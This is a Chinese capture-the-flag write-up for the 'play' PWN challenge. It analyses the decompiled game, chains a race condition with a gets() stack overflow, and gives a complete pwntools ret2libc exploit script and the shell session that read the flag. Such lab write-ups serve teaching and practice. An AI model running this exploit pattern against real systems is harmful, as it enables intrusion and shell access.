攻防世界PWN-play漏洞利用思路
检查保护机制
healer@healer-virtual-machine:~/Desktop/play$ checksec play
[*] '/home/healer/Desktop/play/play'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
healer@healer-virtual-machine:~/Desktop/play$ readelf -h play
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x8048780
Start of program headers: 52 (bytes into file)
Start of section headers: 12104 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 9
Size of section headers: 40 (bytes)
Number of section headers: 31
Section header string table index: 28
漏洞分析
存在溢出漏洞的函数
int vul_func()
{
char s; // [esp+0h] [ebp-48h]
printf("what's your name:");
gets(&s); // 存在溢出漏洞
return printf("ok! %s ,welcome\n", &s);
}
下面这个函数调用了上面的vul_func()
int attack()
{
···
result = *(_DWORD *)(gMonster + 8); // 此处取值如果小于0可执行至下面的分支
if ( result <= 0 )
{
puts("you win");
if ( *(_DWORD *)gMonster == 3 )
{
puts("we will remember you forever!");
vul_func();
release_all();
}
puts("slave up");
level_up();
result = init_monster(*(_DWORD *)gMonster + 1);
}
return result;
}
要执行到对应漏洞函数有两个条件需要满足
*(_DWORD *)(gMonster + 8)
<= 0*(_DWORD *)gMonster
== 3
通过分析总结出有以下结构体:
struct Hero
{
DWORD a;
DWORD round_times; // 回合数,每攻击一次加一
DWORD hp_value; // Hero血量
DWORD a2;
char * Hero_name; //char[40]
g_hero_kill_type * g_hero_kill_type; //point to skill
};
struct Monster
{
DWORD b;
DWORD round_times; // 回合数,每攻击一次加一
DWORD hp_value; // Monster血量
DWORD b2;
char * Monster_name; //char[40]
g_monster_skill_type * g_monster_skill_type;
};
Hero_list[5] = [....] // 对应5种技能
struct Hero_skill
{
DWORD attack_value; // 技能伤害值
DWORD defence_value; // 技能防御值
char * skill_name; // 技能名称
char * skill_detial; // 技能细节信息
DWORD hide_methods_value; // 隐藏攻击伤害加成
};
Monster_list[5] = [....] // 对应5种防御与方法
struct Monster_skill
{
DWORD attack_value; // 技能伤害值
DWORD defence_value; // 技能防御值
char * skill_name; // 技能名称
char * skill_detial; // 技能细节信息
DWORD hide_methods_value; // 隐藏攻击伤害加成
};
// 攻击技能的分析与防御技能的分析参见下文的内存截取部分
Hero
与Monster
的技能清单
# 这部分是Hero的
.data:0804B0C0 public g_hero_kill_type
.data:0804B0C0 g_hero_kill_type dd 19h ; DATA XREF: init_new_db_file+61↑o
.data:0804B0C0 ; healer:F7FC7050↓o
.data:0804B0C4 dd 0Ch
.data:0804B0C8 ; _DWORD off_804B0C8[30]
.data:0804B0C8 off_804B0C8 dd offset aDdosAttack ; "DDOS Attack"
.data:0804B0CC dd offset aDistributedDen ; "Distributed Denial of Service"
.data:0804B0D0 dd 8
.data:0804B0D4 dword_804B0D4 dd 5
.data:0804B0D8 dd 1
.data:0804B0DC dd offset aOverflowAttack ; "Overflow Attack"
.data:0804B0E0 dd offset aCanaryAndNxAre ; "Canary and NX are being bypassed"
.data:0804B0E4 dd 20h
.data:0804B0E8 dd 0
.data:0804B0EC dd 46h
.data:0804B0F0 dd offset aMiddlemanAttac ; "Middleman Attack"
.data:0804B0F4 dd offset aListeningToHos ; "Listening to host and forwarding"
.data:0804B0F8 dd 0
.data:0804B0FC dd 8
.data:0804B100 dd 37h
.data:0804B104 dd offset aPenetrationAtt ; "Penetration Attack"
.data:0804B108 dd offset aPermeatingThro ; "Permeating through social engineering"
.data:0804B10C dd 5
.data:0804B110 dd 64h
.data:0804B114 dd 0C8h
.data:0804B118 dd offset aDdosAttack ; "DDOS Attack"
.data:0804B11C dd offset aIHaveBotnet ; "I have botnet"
.data:0804B120 dd 3E8h
···
# 下面是Monster的
.data:0804B140 public g_monster_skill_type
.data:0804B140 g_monster_skill_type dd 0Ah ; DATA XREF: [heap]:0817E058↓o
.data:0804B144 dd 0Ah
.data:0804B148 dd offset aDistributedDef ; "Distributed Defense"
.data:0804B14C dd offset aLoadBalancingI ; "Load balancing is being carried out"
.data:0804B150 dd 0Ah
.data:0804B154 dd 1Eh
.data:0804B158 dd 0Fh
.data:0804B15C dd offset aRedundantDefen ; "Redundant Defense"
.data:0804B160 dd offset aStartUpAStandb ; "start up a standby system"
.data:0804B164 dd 0Fh
.data:0804B168 dd 32h
.data:0804B16C dd 14h
.data:0804B170 dd offset aHidsDefense ; "HIDS Defense"
.data:0804B174 dd offset aDetectionOfInt ; "Detection of intrusion attacks"
.data:0804B178 dd 1
.data:0804B17C dd 50h
.data:0804B180 dd 1Eh
.data:0804B184 dd offset aInitiativeDefe ; "Initiative Defense"
.data:0804B188 dd offset aScanningTheAbn ; "Scanning the abnormal data in the netwo"...
.data:0804B18C dd 0Ah
.data:0804B190 dd 64h
.data:0804B194 dd 0C8h
.data:0804B198 dd offset aDdosDefense ; "DDOS Defense"
.data:0804B19C dd offset aIHaveMoney ; "I have money"
.data:0804B1A0 dd 3E8h
通过调试,理解程序的功能,第一个重要函数
attack()
攻击函数
感觉题目还是要把整个函数分析明白才能更好的进行后面的步骤,关键步骤的分析参见注释
int attack()
{
int result; // eax
int v1; // [esp+10h] [ebp-18h]
int v2; // [esp+14h] [ebp-14h]
int v3; // [esp+18h] [ebp-10h]
int v4; // [esp+1Ch] [ebp-Ch]
++*((_DWORD *)gHero + 1); // 回合数加一
++*(_DWORD *)(gMonster + 4); // 回合数加一
hero_recovery(); // 血量恢复,少量回血,数量未知
mon_recovery(); // 血量恢复,少量回血,数量未知
printf("%s display:%s\n", (char *)gHero + 16, *(_DWORD *)(*((_DWORD *)gHero + 20) + 12)); // 展示Heor携带的技能
printf("%s display:%s\n", gMonster + 16, *(_DWORD *)(*(_DWORD *)(gMonster + 80) + 12)); // 展示Monster携带的技能
v2 = **(_DWORD **)(gMonster + 80); // 获取Monster的技能伤害值
v1 = *(_DWORD *)(*(_DWORD *)(gMonster + 80) + 4); // 获取Monster的技能防御值
if ( *(_DWORD *)(*(_DWORD *)(gMonster + 80) + 16) && *(_DWORD *)(gMonster + 4) > 4 && rand() % 3 == 1 )
{
*(_DWORD *)(gMonster + 4) = 0;
v1 += *(_DWORD *)(*(_DWORD *)(gMonster + 80) + 16);
v2 += *(_DWORD *)(*(_DWORD *)(gMonster + 80) + 16);
}
v4 = **((_DWORD **)gHero + 20); // 获取Hero的技能伤害值
v3 = *(_DWORD *)(*((_DWORD *)gHero + 20) + 4); // 获取Hero的技能防御值
if ( *(_DWORD *)(*(_DWORD *)(gMonster + 80) + 16) )
{
printf("use hiden_methods?(1:yes/0:no):");
if ( read_int() == 1 )
{
v3 += *(_DWORD *)(*((_DWORD *)gHero + 20) + 16); // 给Hero加上技能隐藏伤害属性
v4 += *(_DWORD *)(*((_DWORD *)gHero + 20) + 16); // 给Hero加上技能的隐藏的防御值,与伤害值的隐藏量是相同的
}
}
if ( v3 < v2 ) // 如果Hero的防御值小于Monster的攻击值
*((_DWORD *)gHero + 2) -= v2 - v3; // Hero掉血
if ( v1 < v4 ) // 如果Monster的防御值小于Hero的攻击值
*(_DWORD *)(gMonster + 8) -= v4 - v1; // Monster掉血
if ( *((_DWORD *)gHero + 2) <= 0 ) // 如果本轮结束后Hero的血量小于0
{
puts("you failed"); // 提示游戏失败
*((_DWORD *)gHero + 2) = 0;
release_all();
}
result = *(_DWORD *)(gMonster + 8); // 获取Monster的血量
if ( result <= 0 ) // 如果Monster的血量小于0
{
puts("you win"); // 提示获胜
if ( *(_DWORD *)gMonster == 3 )
{
puts("we will remember you forever!");
vul_func();
release_all();
}
puts("slave up");
level_up();
result = init_monster(*(_DWORD *)gMonster + 1);
}
return result;
}
attack
函数的功能大致上就是实现了游戏的场景,开始攻击之后,Hero
与Monster
各携带一种技能,每一种技能都有同样的结构类型,参见前面的结构体部分,两人的技能都带有自己的防御值和攻击值,Monster
先发起攻击,如果Hero
的防御值小于Monster
的攻击值,Monster
的攻击值减去Hero
的防御值剩余的攻击值就是Hero
的掉血量,反之也是如此
run_away()
函数
int run_away()
{
*(_DWORD *)(gMonster + 4) = 0; // Monster回合数清零
++*((_DWORD *)gHero + 1); // Hero回合数加1
hero_recovery();
return mon_recovery();
}
回血
int __cdecl recovery_hp(int a1, int a2)
{
int result; // eax
*(_DWORD *)(a1 + 8) += *(_DWORD *)(a1 + 12); // 回血的时候取结构体的第四个DWORD作为每次的少量回血
result = *(_DWORD *)(a1 + 8); // 取回血之后的血量
if ( result > a2 ) // 如果现有血量大于最大值
{
result = a1;
*(_DWORD *)(a1 + 8) = a2; // 血量只能是最大值
}
return result;
}
更换技能
int change_skill()
{
int result; // eax
signed int i; // [esp+Ch] [ebp-Ch]
puts("you can use:");
for ( i = 0; i <= 3; ++i )
printf("%d: %s\n", i, off_804B0C8[5 * i]); // 循环打印所有技能
printf("choice>> ");
result = read_int();
if ( result >= 0 && result <= 3 )
{
result = 20 * result + 0x804B0C0; // 设置被选择技能对应的指针
*((_DWORD *)gHero + 20) = result;
}
return result;
}
初始化
void init()
{
unsigned int v0; // eax
char name; // [esp+0h] [ebp-48h]
v0 = time(0); // 取时间戳
srand(v0); // 以时间戳为种子取得随机数
init_io();
if ( access(manager_db, 0) && mkdir(manager_db, 0x1EDu) == -1 )
// access(manager_db, 0) 判断文件是否存在
{
perror("mkdir error");
}
else
{
chdir(manager_db); // 进入临时文件manager_db所指向的目录
while ( 1 )
{
printf("login:");
read_buff((int)&name, 0x40, 10); // 读取0x40个字符,或者遇到回车结束
if ( (unsigned __int8)check_name(&name) ) // name合规检查
break;
puts("bad name");
}
if ( access(&name, 0) ) // 如果文件不存在
{
puts("welcome to the system!"); // 表示欢迎
init_new_db_file(&name); // 初始化文件
}
else
{
puts("welcome back to the system"); // 表示欢迎回来
}
init_db(&name); // 初始化文件
gMonster = (int)malloc(0x54u); // 为monster创建堆空间
init_monster(0); // 初始化Monster
init_hero(); // 初始化Hero
}
}
文件向内存映射
void *__cdecl init_db(char *file)
{
int v1; // eax
void *result; // eax
v1 = open(file, 2); // 打开hero名称的文件
gfd = v1;
result = mmap(0, 0x1000u, 3, 1, v1, 0); // 将文件内容映射至内存中
gHero = result; // 映射区域的起始地址为hero的结构体开始位置
return result;
}
总结
按照程序的题目文件给出的提示,这是一个小游戏,运行之后会要去输入用户名,输入的用户名作为文件名在/tmp/db_dir/
路径下创建一个对应的文件,记录用户的信息,即Hero
结构体,小游戏主要功能就是Hero
打Monster
,英雄打怪兽的故事,每一轮英雄与怪兽都能够携带一种技能,技能都具有自己的攻击值和防御值,各攻击一次,然后对应的掉血或者免受伤害,细节参见代码分析。分析Hero
与Monster
的技能发现,在Monster
是PLC
和SCADA
时可以通过正常的方法,把它打败,但是当变成HMI
开始就无法通过提供的四个技能正常的打败怪兽了,但是有漏洞的函数需要打败HMI
与CNC
之后才可以执行,因此为了能够打败Monster
需要寻找其他的能够打败Monster
的方法。
关于同一用户名,映射同一片内存区域的疑问
上图中可以发现两个进程断下来之后发现,进程中同一用户名healer
下的Hero
信息并没有映射在同一片内存区域
但是,对一片内存的更改会作用到另一个进程的内存区域中去
此处留一个疑点,初步判断是mmap()
函数映射进来的数据在另一个地方,这两个进程拿到的都是副本,对一个副本的修改会作用到其他副本上
条件竞争漏洞利用
条件竞争类型的漏洞,通过开启两个进程,登陆同一个用户名,可使两个进程指向相同的临时文件,即代表挑战者的Hero
文件,要想打败Monster
的前两个PLC
和SCADA
,Hero
使用技能0
即可击败,难点在于后两个HMI
与CNC
,正常情况下测试发现Hero
的所有技能均无法击败Monster
,如果利用条件竞争漏洞可使得Hero
后面的两个防御值高的技能叠加上前面隐藏攻击量为0x20
的技能,即可抵御Monster
的进攻,并对Monster
造成一定的伤害,并最终可取的胜利。
利用脚本:
change_methods(io1,0)
for i in range(6):
attacking(io1)
use_hide(1)
for i in range(33):
log.info("Attack {} times".format(i))
change_methods(io1,3)
attacking(io1)
change_methods(io2,1)
use_hide(1)
缓冲区溢出漏洞利用
结合前面的打败
Monster
之后,便可以进入到缓冲区溢出函数的部分,回到常规的缓冲区溢出类型题目的方法上
首先,由于是32位程序,函数调用时传递参数是通过栈空间传递的,不需要控制寄存器,不用构造ROP链来攻击,相对比较好操作一点,直接利用栈溢出漏洞,填充数据为:
payload = b"s"*0x48 + b"aaaa" + p32(puts_plt) + p32(vuln_fun) + p32(puts_got)
由于需要泄漏函数的地址,然后再利用泄漏的地址计算出system
函数的地址,以及/bin/sh
字符串的地址,所以缓冲区溢出漏洞需要利用两次,上面的payload
用于泄漏信息,下面的payload
用于执行system("/bin/sh")
函数
payload = b"c"*0x48 + b"aaaa" + p32(system_addr) + b"beef" + p32(bin_sh)
漏洞利用脚本
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal = ['terminator', '-x', 'sh', '-c']
# context.terminal = ['tmux','splitw','-h']
io1 = remote("111.200.241.244",50800) # 111.200.241.244:61116
# io1 = process("./play")
elf = ELF("./play")
# libc = ELF("./libc-2.31.so")
context(arch = "i386", os = 'linux')
io1.recvuntil("login:")
io1.sendline("healer")
# io2 = process("./play")
io2 = remote("111.200.241.244",50800)
io2.recvuntil("login:")
io2.sendline("healer")
def attacking(io):
io.recvuntil("choice>> ")
io.sendline("1")
def use_hide(choice):
io1.recvuntil("use hiden_methods?(1:yes/0:no):")
io1.sendline(str(choice))
def change_host(io):
io.recvuntil("choice>> ")
io.sendline("2")
def change_methods(io,index_skill):
io.recvuntil("choice>> ")
io.sendline("3")
io.recvuntil("choice>> ")
io.sendline(str(index_skill))
change_methods(io1,0)
for i in range(6):
attacking(io1)
use_hide(1)
win_HMI = 0
for i in range(100):
log.info("Attack {} times".format(i))
change_methods(io1,3)
attacking(io1)
change_methods(io2,1)
use_hide(1)
if b"forever!\n" in io1.recv(40) :
break
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
log.success("puts_plt -> "+hex(puts_plt))
log.success("puts_got -> "+hex(puts_got))
# gdb.attach(io1,"b * 0x8049174\nb * 0x8048f25\nb * 0x8049080\nb * 0x8048f01")
vuln_fun = 0x8048EC7
io1.recvuntil("name:")
payload = b"s"*0x48 + b"aaaa" + p32(puts_plt) + p32(vuln_fun) + p32(puts_got)
io1.sendline(payload)
io1.recvuntil("welcome\n")
put_got_real_addr = io1.recv(4)
# put_got_real_addr = put_got_real_addr.ljust(b"\x00",4)
put_got_real_addr = u32(put_got_real_addr)
log.success("put_got_real_addr -> "+hex(put_got_real_addr))
obj = LibcSearcher("puts",put_got_real_addr)
libcbase = put_got_real_addr - obj.dump("puts")
system_addr = libcbase + obj.dump("system")
bin_sh = libcbase + obj.dump("str_bin_sh") # /bin/sh
log.success("system_addr -> "+hex(system_addr))
log.success("bin_sh -> "+hex(bin_sh))
payload = b"c"*0x48 + b"aaaa" + p32(system_addr) + b"beef" + p32(bin_sh)
io1.recvuntil("name:")
io1.sendline(payload)
# change_methods(io1,4)
io1.interactive()
远程攻击效果
这题和别的不太一样的是拿到
shell
之后,路径并不在最开始的文件夹下,实际在/tmp/db_dir
下,需要手动切换到/home/ctf
路径下便可查看flag
文件,一开始困惑了我一会儿,明明攻击成功,直接看flag
的时候却没东西,汗!!!
[+] put_got_real_addr -> 0xf760c140
[+] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed.
[+] system_addr -> 0xf75e7940
[+] bin_sh -> 0xf770602b
[DEBUG] Sent 0x59 bytes:
00000000 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 │cccc│cccc│cccc│cccc│
*
00000040 63 63 63 63 63 63 63 63 61 61 61 61 40 79 5e f7 │cccc│cccc│aaaa│@y^·│
00000050 62 65 65 66 2b 60 70 f7 0a │beef│+`p·│·│
00000059
[*] Switching to interactive mode
[DEBUG] Received 0x66 bytes:
00000000 6f 6b 21 20 63 63 63 63 63 63 63 63 63 63 63 63 │ok! │cccc│cccc│cccc│
00000010 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 │cccc│cccc│cccc│cccc│
*
00000040 63 63 63 63 63 63 63 63 63 63 63 63 61 61 61 61 │cccc│cccc│cccc│aaaa│
00000050 40 79 5e f7 62 65 65 66 2b 60 70 f7 20 2c 77 65 │@y^·│beef│+`p·│ ,we│
00000060 6c 63 6f 6d 65 0a │lcom│e·│
00000066
ok! ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccaaaa@y^\xf7beef+`p\xf7 ,welcome
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x7 bytes:
b'healer\n'
healer
$ catflag
[DEBUG] Sent 0x8 bytes:
b'catflag\n'
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
$ cd ..
[DEBUG] Sent 0x6 bytes:
b'cd ..\n'
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x7 bytes:
b'db_dir\n'
db_dir
$ cd ..
[DEBUG] Sent 0x6 bytes:
b'cd ..\n'
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x5b bytes:
b'bin\n'
b'boot\n'
b'dev\n'
b'etc\n'
b'home\n'
b'lib\n'
b'lib32\n'
b'lib64\n'
b'media\n'
b'mnt\n'
b'opt\n'
b'proc\n'
b'root\n'
b'run\n'
b'sbin\n'
b'srv\n'
b'sys\n'
b'tmp\n'
b'usr\n'
b'var\n'
bin
boot
dev
etc
home
lib
lib32
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cd root
[DEBUG] Sent 0x8 bytes:
b'cd root\n'
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
$ cd home
[DEBUG] Sent 0x8 bytes:
b'cd home\n'
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
$ cd ..
[DEBUG] Sent 0x6 bytes:
b'cd ..\n'
$ cd ..
[DEBUG] Sent 0x6 bytes:
b'cd ..\n'
$ cd home
[DEBUG] Sent 0x8 bytes:
b'cd home\n'
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x4 bytes:
b'ctf\n'
ctf
$ cd ctf
[DEBUG] Sent 0x7 bytes:
b'cd ctf\n'
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x29 bytes:
b'bin\n'
b'dev\n'
b'flag\n'
b'lib\n'
b'lib32\n'
b'lib64\n'
b'play\n'
b'run.sh\n'
bin
dev
flag
lib
lib32
lib64
play
run.sh
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x2d bytes:
b'cyberpeace{e1e152****************************3c3f15c07}\n'
cyberpeace{e1e152****************************3c3f15c07}